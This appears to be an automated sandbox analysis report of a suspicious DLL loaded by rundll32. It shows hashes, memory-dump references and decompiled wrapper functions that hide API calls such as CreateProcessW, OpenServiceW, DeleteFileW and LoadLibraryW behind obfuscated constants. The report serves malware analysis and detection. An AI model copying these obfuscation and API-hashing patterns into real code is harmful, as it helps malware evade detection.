Instruction ID: 45fa054f8f2a160283822c10544fbdf2035c0d121c938d7d34c495ce77aad307
Opcode Fuzzy Hash: e5c3111f4f6cfefaf298f5b3e758b35252f4785c1fdef7ab3ca5d68812131cb2
Instruction Fuzzy Hash: 50B09BB0D04502D76D909BF1490C655365C55815C130104846713D6108E514C407BD31

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC320, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0), ref: 6EDAC325
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 6EDAC335

Strings

WaitOnAddress, xrefs: 6EDAC32F
api-ms-win-core-synch-l1-2-0, xrefs: 6EDAC320

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: WaitOnAddress$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1891578837
Opcode ID: 6d0b1fd8a52997a546943c006a86780804089bf56cb048618ede98b346c49bd8
Instruction ID: e4027ef1aa5bc9f40eb8145abe00b15a0ce4ba97e7c85011b25621c3810c93a0
Opcode Fuzzy Hash: 6d0b1fd8a52997a546943c006a86780804089bf56cb048618ede98b346c49bd8
Instruction Fuzzy Hash: 71B092B0E04502E6AE50EBF1890CA863A5CA951AC230204806617DA219EA28C106BD31

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC4161, Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6EDC4169

Part of subcall function 6EDC4073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EDC61E2,?,00000000,-00000008), ref: 6EDC411F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EDC41A1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EDC41C1

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: afbb9acaf0e00f22763a050e39190cfffdaaf05ba5bb230d182fb940be792406
Instruction ID: 726cf3e05a6fd459a6da176a7f39dd43ba9ca56ae8cbd84c4ffa5781e25f5524
Opcode Fuzzy Hash: afbb9acaf0e00f22763a050e39190cfffdaaf05ba5bb230d182fb940be792406
Instruction Fuzzy Hash: 4D11C4F1505A16BE770117F69D8DCAF696CDE56AD83004915F949D3180EF70CE0381B3

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA1290, Relevance: 3.9, APIs: 3, Instructions: 137memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6EDBBE60: GetTickCount64.KERNEL32 ref: 6EDBBE96
Part of subcall function 6EDBBE60: GetTickCount64.KERNEL32 ref: 6EDBBEB4
Part of subcall function 6EDBBE60: GetTickCount64.KERNEL32 ref: 6EDBBECD
Part of subcall function 6EDBBE60: GetTickCount64.KERNEL32 ref: 6EDBBECF
Part of subcall function 6EDBBE60: GetTickCount64.KERNEL32 ref: 6EDBBED6
Part of subcall function 6EDBBE60: GetTickCount64.KERNEL32 ref: 6EDBBEF4

GetProcessHeap.KERNEL32 ref: 6EDA1333
HeapAlloc.KERNEL32(03340000,00000000,00023800), ref: 6EDA134D
HeapFree.KERNEL32(00000000), ref: 6EDA1437

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: Count64Tick$Heap$AllocFreeProcess
String ID:
API String ID: 2047189075-0
Opcode ID: 88545e82f327844200202beea1e1b34549fba80ffa99585c547297f819f674b4
Instruction ID: 03c735b9bc019e1c7a9e8f840610a997fe320b44dfa17a550d7ae775b1c105ba
Opcode Fuzzy Hash: 88545e82f327844200202beea1e1b34549fba80ffa99585c547297f819f674b4
Instruction Fuzzy Hash: 3451BEB4900B448FD320CF69C980A96BBF8FF49714F108A2DE9D68BA91E730F545CB80

Uniqueness

Uniqueness Score: -1.00%

Function 01079100, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74
processCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E01079100(void* __ecx, WCHAR* __edx, WCHAR* _a8, struct _PROCESS_INFORMATION* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, struct _STARTUPINFOW* _a40, intOrPtr _a44, int _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t52;
				int _t60;
				WCHAR* _t64;

				_t64 = __edx;
				_push(0);
				_push(0);
				_push(_a64);
				_push(_a60);
				_push(_a56);
				_push(_a52);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(0);
				_push(__edx);
				_push(__ecx);
				E01068002(_t52);
				_v28 = 0x2905a5;
				_v24 = 0;
				_v12 = 0xa2d8b8;
				_v12 = _v12 + 0xfffff871;
				_v12 = _v12 ^ 0x5b121ec8;
				_v12 = _v12 ^ 0x21b4fd5f;
				_v12 = _v12 ^ 0x7a067dbd;
				_v8 = 0x36027e;
				_v8 = _v8 ^ 0x6c06375b;
				_v8 = _v8 * 0x51;
				_v8 = _v8 + 0xffff0cdd;
				_v8 = _v8 ^ 0x3b3a0501;
				_v20 = 0x3133e6;
				_v20 = _v20 ^ 0xa81fc925;
				_v20 = _v20 ^ 0xa82b7027;
				_v16 = 0x47f0fa;
				_v16 = _v16 | 0xed8e49a9;
				_v16 = _v16 ^ 0xedcdbeb4;
				E0107E399(__ecx, __edx, __ecx, 0xa2449830, 0x53, 0xa9376bff);
				_t60 = CreateProcessW(_t64, _a8, 0, 0, _a48, 0, 0, 0, _a40, _a16); // executed
				return _t60;
			}

0x0107910a
0x0107910c
0x0107910d
0x0107910e
0x01079111
0x01079114
0x01079117
0x0107911a
0x0107911d
0x01079120
0x01079123
0x01079126
0x01079127
0x0107912a
0x0107912d
0x01079130
0x01079133
0x01079134
0x01079137
0x01079138
0x01079139
0x0107913a
0x0107913f
0x01079149
0x0107914c
0x01079153
0x0107915a
0x01079161
0x01079168
0x0107916f
0x01079176
0x0107918e
0x01079191
0x01079198
0x0107919f
0x010791a6
0x010791ad
0x010791b4
0x010791bb
0x010791c2
0x010791d5
0x010791ef
0x010791f6

APIs

CreateProcessW.KERNEL32(?,EDCDBEB4,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 010791EF

Strings

31, xrefs: 0107919F

Memory Dump Source

Source File: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, Offset: 01060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1060000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: 31
API String ID: 963392458-1099231638
Opcode ID: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction ID: 70c5455c54202388051d9fcd89f90dae25588ba5172d3b245fa05b217042d61b
Opcode Fuzzy Hash: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction Fuzzy Hash: FF31D272801259BBCF559FAACD45CDFBFB9FF89714F108158FA1462120C3729A60EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0106890E, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0106890E(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t46;
				intOrPtr* _t57;
				void* _t58;
				signed int _t60;
				signed int _t61;
				void* _t67;
				void* _t68;

				_t68 = __edx;
				_t67 = __ecx;
				E01068002(_t46);
				_v24 = _v24 & 0x00000000;
				_v28 = 0x5a89c2;
				_v12 = 0xac9734;
				_t60 = 0xf;
				_v12 = _v12 / _t60;
				_v12 = _v12 + 0xbff0;
				_v12 = _v12 ^ 0x0000f03b;
				_v20 = 0x5d6235;
				_t61 = 0x58;
				_v20 = _v20 * 0x48;
				_v20 = _v20 ^ 0x1a4c6f32;
				_v8 = 0x1651ff;
				_v8 = _v8 / _t61;
				_v8 = _v8 + 0x3de9;
				_v8 = _v8 | 0x9dbfa52d;
				_v8 = _v8 ^ 0x9dbe342b;
				_v16 = 0xc9b349;
				_v16 = _v16 >> 0xa;
				_v16 = _v16 ^ 0x000d61f6;
				_t57 = E0107E399(_t61, _v8 % _t61, _t61, 0xa2449830, 0x195, 0x5faffbf6);
				_t58 =  *_t57(_t67, 0, _t68, 0x28, __ecx, __edx, _a4, _a8, 0x28, 0, _a20, _a24); // executed
				return _t58;
			}

0x01068919
0x0106891b
0x0106892c
0x01068931
0x01068937
0x0106893e
0x0106894a
0x0106894f
0x01068954
0x0106895b
0x01068962
0x0106896d
0x01068971
0x01068974
0x0106897b
0x0106898c
0x0106898f
0x01068996
0x0106899d
0x010689a4
0x010689ab
0x010689af
0x010689cd
0x010689db
0x010689e2

APIs

SetFileInformationByHandle.KERNEL32(00000000,00000000,?,00000028,?,?,?,?,?,?,?,?,?,00000036,00000000,00000036), ref: 010689DB

Strings

5b], xrefs: 01068962

Memory Dump Source

Source File: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, Offset: 01060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1060000_rundll32.jbxd

Yara matches

Similarity

API ID: FileHandleInformation
String ID: 5b]
API String ID: 3935143524-2683361797
Opcode ID: 63ccbd5bf9bf2d38dd30339ed70447a321936e4e4c5aac198be4ec8ca5f58e68
Instruction ID: 19afa9dea6a53f8b69f72b2b05f5bdab5e56412ae495998772953ff35fc61864
Opcode Fuzzy Hash: 63ccbd5bf9bf2d38dd30339ed70447a321936e4e4c5aac198be4ec8ca5f58e68
Instruction Fuzzy Hash: 57219A75D41209BBDB04DF98CD4AAEEBFB5FB40310F108099E914BA280D7B95B158B90

Uniqueness

Uniqueness Score: -1.00%

Function 0106C38F, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0106C38F(void* __ecx, int __edx, void* _a4, intOrPtr _a8, short* _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t50;
				void* _t59;
				signed int _t61;
				int _t65;

				_push(_a12);
				_t65 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E01068002(_t50);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0x617f6e;
				_v32 = 0x2c9f69;
				_v12 = 0x3d345c;
				_v12 = _v12 >> 0x10;
				_v12 = _v12 << 1;
				_v12 = _v12 + 0xffff1c15;
				_v12 = _v12 ^ 0xfffbc300;
				_v8 = 0x1d3e99;
				_t61 = 0x3e;
				_v8 = _v8 / _t61;
				_v8 = _v8 + 0xcfea;
				_v8 = _v8 ^ 0x5f2ca55f;
				_v8 = _v8 ^ 0x5f2aa82f;
				_v16 = 0xf71959;
				_v16 = _v16 << 0xa;
				_v16 = _v16 << 0xd;
				_v16 = _v16 ^ 0xac874e69;
				_v20 = 0x5ac786;
				_v20 = _v20 ^ 0xe6acc0dd;
				_v20 = _v20 ^ 0xe6fddbb7;
				E0107E399(_t61, _v8 % _t61, _t61, 0x1f1ae65e, 0x5e, 0x42b99377);
				_t59 = OpenServiceW(_a4, _a12, _t65); // executed
				return _t59;
			}

0x0106c396
0x0106c399
0x0106c39b
0x0106c39e
0x0106c3a1
0x0106c3a3
0x0106c3a8
0x0106c3ae
0x0106c3b2
0x0106c3b9
0x0106c3c0
0x0106c3c7
0x0106c3cb
0x0106c3ce
0x0106c3d5
0x0106c3dc
0x0106c3e8
0x0106c3ee
0x0106c3f1
0x0106c3f8
0x0106c3ff
0x0106c406
0x0106c40d
0x0106c411
0x0106c415
0x0106c41c
0x0106c423
0x0106c42a
0x0106c44a
0x0106c459
0x0106c45f

APIs

OpenServiceW.ADVAPI32(FFFBC300,E6FDDBB7,?,?,?,?,?,?,?,?,01082FF3,?), ref: 0106C459

Strings

\4=, xrefs: 0106C3C0

Memory Dump Source

Source File: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, Offset: 01060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1060000_rundll32.jbxd

Yara matches

Similarity

API ID: OpenService
String ID: \4=
API String ID: 3098006287-2040901920
Opcode ID: f0bb5145ee7f5cc29076849a53ae227a1e4ca7211b09d7f87376f75b715373d2
Instruction ID: 9cdc2a6b21cf9e450bded3e2be119d2c98db0ad105b5aabe337aef3542aa9fca
Opcode Fuzzy Hash: f0bb5145ee7f5cc29076849a53ae227a1e4ca7211b09d7f87376f75b715373d2
Instruction Fuzzy Hash: 642132B6D01209EBDB04CFE5C909ADEBBB4FB04324F108189E42566250C3BA5B55DF91

Uniqueness

Uniqueness Score: -1.00%

Function 01074CFD, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E01074CFD(void* __ecx, long __edx, long _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, void* _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t46;
				void* _t56;
				signed int _t58;
				long _t62;

				_push(_a20);
				_t62 = __edx;
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E01068002(_t46);
				_v20 = 0x7fa37e;
				_v20 = _v20 | 0x057bdedc;
				_v20 = _v20 + 0xffffffcc;
				_v20 = _v20 ^ 0x057d9e34;
				_v8 = 0x65e94f;
				_t58 = 0x2a;
				_v8 = _v8 * 0x5b;
				_v8 = _v8 + 0xffffa5c0;
				_v8 = _v8 / _t58;
				_v8 = _v8 ^ 0x00d22f9e;
				_v16 = 0xf6ef89;
				_v16 = _v16 + 0x478;
				_v16 = _v16 ^ 0x0b24101f;
				_v16 = _v16 ^ 0x0bdb985c;
				_v12 = 0xb9bed2;
				_v12 = _v12 >> 5;
				_v12 = _v12 << 0xd;
				_v12 = _v12 ^ 0xb9b7d5de;
				E0107E399(_t58, _v8 % _t58, _t58, 0xa2449830, 0x264, 0x8babc312);
				_t56 = RtlAllocateHeap(_a20, _a4, _t62); // executed
				return _t56;
			}

0x01074d04
0x01074d07
0x01074d09
0x01074d0c
0x01074d0f
0x01074d12
0x01074d15
0x01074d17
0x01074d1c
0x01074d25
0x01074d2c
0x01074d30
0x01074d37
0x01074d44
0x01074d48
0x01074d4b
0x01074d5c
0x01074d5f
0x01074d66
0x01074d6d
0x01074d74
0x01074d7b
0x01074d82
0x01074d89
0x01074d8d
0x01074d91
0x01074daf
0x01074dbe
0x01074dc4

APIs

RtlAllocateHeap.NTDLL(?,B9B7D5DE,?,?,?,?,?,?,?,?,?,?,?), ref: 01074DBE

Strings

Oe, xrefs: 01074D37

Memory Dump Source

Source File: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, Offset: 01060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1060000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: Oe
API String ID: 1279760036-808228324
Opcode ID: 700dfd9d891cb1a26e26177c6dd2e79faa0fdc2c74feaf985b1bdd3c6d92e912
Instruction ID: 1ce008489c0eb3839d646dbcf9ff5a8dfb0e35158aafd178d5e3a6c6cb5811b0
Opcode Fuzzy Hash: 700dfd9d891cb1a26e26177c6dd2e79faa0fdc2c74feaf985b1bdd3c6d92e912
Instruction Fuzzy Hash: C9211072C01219FBDF14DFA4C94A8DEBFB5FB10364F108588E92466250D7B68B28EF90

Uniqueness

Uniqueness Score: -1.00%

Function 010655C0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
fileCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E010655C0(void* __ecx, WCHAR* __edx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t44;
				int _t56;
				signed int _t58;
				signed int _t59;
				WCHAR* _t65;

				_push(_a4);
				_t65 = __edx;
				_push(__edx);
				E01068002(_t44);
				_v12 = 0xc09d41;
				_t58 = 0x5c;
				_v12 = _v12 / _t58;
				_v12 = _v12 + 0xffffef63;
				_v12 = _v12 ^ 0xe9e279a7;
				_v12 = _v12 ^ 0xe9e62653;
				_v20 = 0xa2cc51;
				_t59 = 0x34;
				_v20 = _v20 / _t59;
				_v20 = _v20 ^ 0x000b7ed2;
				_v8 = 0xd564b1;
				_v8 = _v8 >> 0xc;
				_v8 = _v8 + 0x176e;
				_v8 = _v8 | 0xf1e3b14c;
				_v8 = _v8 ^ 0xf1e4530b;
				_v16 = 0xd8623f;
				_v16 = _v16 * 0x37;
				_v16 = _v16 << 4;
				_v16 = _v16 ^ 0xe7d235eb;
				E0107E399(_t59, _v20 % _t59, _t59, 0xa2449830, 0x246, 0x6ae2bc6b);
				_t56 = DeleteFileW(_t65); // executed
				return _t56;
			}

0x010655c7
0x010655ca
0x010655cc
0x010655ce
0x010655d3
0x010655e1
0x010655e6
0x010655eb
0x010655f2
0x010655f9
0x01065600
0x0106560a
0x01065610
0x01065613
0x0106561a
0x01065621
0x01065625
0x0106562c
0x01065633
0x0106563a
0x01065655
0x01065658
0x0106565c
0x0106566f
0x01065678
0x0106567e

APIs

DeleteFileW.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 01065678

Strings

S&, xrefs: 010655F9

Memory Dump Source

Source File: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, Offset: 01060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1060000_rundll32.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID: S&
API String ID: 4033686569-4232605156
Opcode ID: a789b351c44137b8d7dd019b37ab00909fcc494573d4763fe5f2d1bb6bf47882
Instruction ID: e43d7873c022a6f874379d9a7bbcbae121272d711c61a6eb5edde520057fc239
Opcode Fuzzy Hash: a789b351c44137b8d7dd019b37ab00909fcc494573d4763fe5f2d1bb6bf47882
Instruction Fuzzy Hash: 31113470D05318BBDB14DFA8C94A8CEBBB4FF90310F108099E469AB290D7B55B11CF81

Uniqueness

Uniqueness Score: -1.00%

Function 01067C11, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44
libraryCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E01067C11(void* __ecx, WCHAR* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				void* _t37;
				struct HINSTANCE__* _t44;
				WCHAR* _t47;

				_push(_a8);
				_t47 = __edx;
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E01068002(_t37);
				_v16 = 0xc57804;
				_v16 = _v16 + 0x7e2a;
				_v16 = _v16 << 3;
				_v16 = _v16 ^ 0x062dce69;
				_v20 = 0xc0d373;
				_v20 = _v20 ^ 0xd8d0ddee;
				_v20 = _v20 ^ 0xd81819b4;
				_v12 = 0x9f362e;
				_v12 = _v12 + 0xfffffd91;
				_v12 = _v12 << 0xc;
				_v12 = _v12 >> 0xc;
				_v12 = _v12 ^ 0x000a9d69;
				_v8 = 0xe543a4;
				_v8 = _v8 ^ 0xe0ed073d;
				_v8 = _v8 | 0x93b71955;
				_v8 = _v8 << 7;
				_v8 = _v8 ^ 0xdfad752a;
				E0107E399(__ecx, __edx, __ecx, 0xa2449830, 0x129, 0xf0e92e19);
				_t44 = LoadLibraryW(_t47); // executed
				return _t44;
			}

0x01067c18
0x01067c1b
0x01067c1d
0x01067c20
0x01067c21
0x01067c22
0x01067c27
0x01067c31
0x01067c38
0x01067c3c
0x01067c43
0x01067c4a
0x01067c51
0x01067c58
0x01067c5f
0x01067c66
0x01067c6a
0x01067c6e
0x01067c75
0x01067c7c
0x01067c83
0x01067c8a
0x01067c8e
0x01067cb1
0x01067cba
0x01067cc0

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 01067CBA

Strings

*~, xrefs: 01067C31

Memory Dump Source

Source File: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, Offset: 01060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1060000_rundll32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: *~
API String ID: 1029625771-2567930604
Opcode ID: b9f3b87bebec21f6148c33e759f0ff5f4f2fe9304ffae80c2c21f0ab5745ad8c
Instruction ID: efae4ebf065883a4e8b4d7e7eae4278c2f596c1d44b95521663f96d3279b651d
Opcode Fuzzy Hash: b9f3b87bebec21f6148c33e759f0ff5f4f2fe9304ffae80c2c21f0ab5745ad8c
Instruction Fuzzy Hash: DA1125B5D01218BBDF14DFE5C80A4DEBBB4FB00304F108598E826A2250D3B95B14DF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC7D4, Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6EDBC821

Part of subcall function 6EDBCEAD: InitializeSListHead.KERNEL32(6EDFE4A0,6EDBC82B,6EDFAF60,00000010,6EDBC7BC,?,?,?,6EDBC9E4,?,00000001,?,?,00000001,?,6EDFAFA8), ref: 6EDBCEB2

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6EDBC88B

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: b0477bdadb7ef24fdf284110d0fcee8ca4c06a6e9c71885014b12d38fbba9150
Instruction ID: 3839253e25535bb68f2d3cb3a9c03a94711edef028fa22312ad67d0ea83502cc
Opcode Fuzzy Hash: b0477bdadb7ef24fdf284110d0fcee8ca4c06a6e9c71885014b12d38fbba9150
Instruction Fuzzy Hash: BB2102B6988205EEEB40ABF494047DD3768AF067ACF110C69D45B6F2C1FB318045CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 01070207, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E01070207(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v32;
				intOrPtr _v36;
				void* _t54;
				int _t68;
				signed int _t70;
				signed int _t71;
				signed int _t72;
				WCHAR* _t81;

				_push(_a16);
				_t81 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E01068002(_t54);
				_v36 = 0xa7e4f2;
				asm("stosd");
				_t70 = 0x7b;
				asm("stosd");
				asm("stosd");
				_v12 = 0x53fdc4;
				_t71 = 0x5a;
				_v12 = _v12 / _t70;
				_v12 = _v12 << 7;
				_v12 = _v12 ^ 0xe1fe8b09;
				_v12 = _v12 ^ 0xe1ac8480;
				_v20 = 0x744728;
				_v20 = _v20 << 0xf;
				_v20 = _v20 ^ 0x239bcee7;
				_v16 = 0xd5199;
				_v16 = _v16 + 0xffff5a50;
				_v16 = _v16 / _t71;
				_v16 = _v16 ^ 0x000f59f5;
				_v8 = 0xa57c1a;
				_v8 = _v8 | 0x119c25df;
				_v8 = _v8 + 0xffffdcc6;
				_t72 = 0x4f;
				_v8 = _v8 / _t72;
				_v8 = _v8 ^ 0x003b1570;
				E0107E399(_t72, _v8 % _t72, _t72, 0xa2449830, 0x167, 0xa9a77114);
				_t68 = lstrcmpiW(_a8, _t81); // executed
				return _t68;
			}

0x0107020f
0x01070212
0x01070214
0x01070217
0x0107021a
0x0107021d
0x0107021f
0x01070224
0x01070232
0x01070235
0x01070238
0x01070239
0x0107023a
0x01070246
0x01070247
0x0107024c
0x01070250
0x01070257
0x0107025e
0x01070265
0x01070269
0x01070270
0x01070277
0x01070285
0x0107028a
0x01070291
0x01070298
0x0107029f
0x010702a9
0x010702af
0x010702b2
0x010702d5
0x010702e1
0x010702e8

APIs

lstrcmpiW.KERNEL32(000F59F5,00000000,?,?,?,?,?,?,?,9B842ACC,01B64447,00000000), ref: 010702E1

Strings

(Gt, xrefs: 0107025E

Memory Dump Source

Source File: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, Offset: 01060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1060000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: (Gt
API String ID: 1586166983-558867117
Opcode ID: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction ID: bbf04fef6d911deb88246bcd8cdcda7e62aa4503fb75b4cb03f56d385b6e4a75
Opcode Fuzzy Hash: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction Fuzzy Hash: 7D2178B5E00208FBEF04DFA8CC0A9DEBBB2FB44314F10C599E515AA250D7B65A10DF90

Uniqueness

Uniqueness Score: -1.00%

Function 01072D06, Relevance: 1.6, APIs: 1, Instructions: 74
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E01072D06(long __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8, long _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, long _a40, long _a44) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				struct _SECURITY_ATTRIBUTES* _v28;
				intOrPtr _v32;
				void* _t53;
				void* _t66;
				signed int _t68;
				signed int _t69;
				long _t76;

				_push(_a44);
				_t76 = __ecx;
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E01068002(_t53);
				_v32 = 0xa61226;
				_v28 = 0;
				_v24 = 0;
				_v12 = 0x8b5566;
				_t68 = 0x4f;
				_v12 = _v12 * 0x16;
				_v12 = _v12 * 0x58;
				_v12 = _v12 ^ 0x1db24b6c;
				_v20 = 0xae8f68;
				_t69 = 0x28;
				_v20 = _v20 / _t68;
				_v20 = _v20 ^ 0x00028d2f;
				_v16 = 0xdc96c3;
				_v16 = _v16 >> 3;
				_v16 = _v16 ^ 0x001086c5;
				_v8 = 0xcc437a;
				_v8 = _v8 << 5;
				_v8 = _v8 / _t69;
				_v8 = _v8 ^ 0x00a46bd6;
				E0107E399(_t69, _v8 % _t69, _t69, 0xa2449830, 0x1b2, 0xa236d704);
				_t66 = CreateFileW(_a8, _t76, _a44, 0, _a16, _a40, 0); // executed
				return _t66;
			}

0x01072d0e
0x01072d13
0x01072d15
0x01072d18
0x01072d1b
0x01072d1c
0x01072d1f
0x01072d22
0x01072d25
0x01072d28
0x01072d29
0x01072d2c
